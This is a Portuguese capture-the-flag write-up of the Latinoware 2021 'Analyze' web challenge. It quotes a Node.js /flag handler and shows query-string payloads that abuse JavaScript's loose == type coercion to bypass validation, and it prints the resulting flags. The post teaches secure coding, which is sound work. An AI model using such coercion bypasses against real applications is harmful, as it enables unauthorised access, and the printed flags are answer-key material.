Este post descreve a solução de um desafio web do Latinoware 2021,
focando em revisão de código, coerção de tipos e falhas de lógica em aplicações Node.js.


Contexto

A 18ª Conferência Latino-Americana de Software Livre e Tecnologias Abertas (Latinoware) ocorreu entre 13 e 15 de outubro de 2021.
Além das palestras técnicas, o evento promoveu um Capture The Flag (CTF) com desafios sobre segurança web, criptografia e engenharia reversa.

Este write-up foca no desafio web Analyze.


Visão Geral do Desafio

O desafio Analyze é um problema web centrado em revisão de código.
Os participantes têm acesso ao código-fonte completo de uma aplicação Node.js e devem identificar falhas de lógica para recuperar a flag.

Endpoints Disponíveis

Pela interface do desafio, os seguintes endpoints são expostos:

  • / – Página principal (conteúdo estático)
  • /code – Retorna o código-fonte completo da aplicação
  • /flag – Endpoint responsável pela validação da flag

Análise Inicial

Antes de inspecionar o código, já podemos inferir algumas coisas:

  • A flag é obtida via endpoint /flag
  • Dois parâmetros de query são exigidos
  • A entrada do usuário é parseada como JSON
  • A lógica de validação é customizada e não trivial

Essas observações sugerem fortemente um cenário de falha de lógica ou confusão de tipos.


Código Relevante

A lógica crítica reside dentro do endpoint /flag:

app.get('/flag', (req, res) => {
    if(req.query['xXxXxXx'] === undefined || req.query['yYyYyY'] === undefined){
        return res.send('something wrong is not right with your analysis.')
    }   

    var xXxxXx = req.query['xXxXxXx'].trim().substring(0,14)
    var yYyyYy = req.query['yYyYyYy'].trim().substring(0,14)

    if(xXxxXx.length !== yYyyYy.length || xXxxXx === yYyyYy){
        return res.send('something wrong is not right with your analysis.')
    }

    const oBjObJx = JSON.parse(xXxxXx)
    const oBjObJy = JSON.parse(yYyyYy)

    if(oBjObJx['xXxxXx'] == oBjObJy['yYyYy']){
        return res.send(ANaLYzEANaLYzE)
    } else {
        return res.send('something wrong is not right with your analysis.')
    }
});

Entendendo a Falha de Lógica

O endpoint impõe várias condições:

  1. Ambos os parâmetros devem existir
  2. Ambos os parâmetros devem ter o mesmo comprimento
  3. As strings brutas não podem ser idênticas
  4. Os valores JSON parseados são comparados usando ==

Observação chave:
Usar == permite coerção de tipos em JavaScript, o que pode ser explorado quando a comparação envolve entrada controlada pelo usuário.


Estratégia de Exploração

Para recuperar a flag, todas as condições de validação devem ser satisfeitas simultaneamente.

Construção do Payload

Um payload ingênuo falha por causa de diferença de tamanho:

/flag?xXxXxXx={"xXxxXx":1}&yYyYyYy={"yYyYy":1}

Compensando o comprimento das strings:

/flag?xXxXxXx={"xXxxXx":1}&yYyYyYy={"yYyYy":10}

Finalmente, abusando da coerção de tipos do JavaScript:

/flag?xXxXxXx={"xXxxXx":0}&yYyYyYy={"yYyYy":""}

Esse payload retorna a flag com sucesso:

LW2021{m3m3_5ucc3s5fully_an4lyz3d}

Desafio Bônus: m0r3m3m35

Uma segunda versão adiciona uma checagem de validação adicional, mas o mesmo payload continua válido.

/flag?xXxXxXx={"xXxxXx":0}&yYyYyYy={"yYyYy":""}

Retornando:

LW2021{wr0ng_m3m3_an4lyz3d}

Conclusões

  • Evite comparações frouxas (==) com entrada controlada pelo usuário
  • Sempre valide tanto o tipo quanto a estrutura ao parsear JSON
  • Falhas de lógica podem ser tão perigosas quanto vulnerabilidades por injeção
  • Desafios de revisão de código frequentemente escondem problemas críticos à vista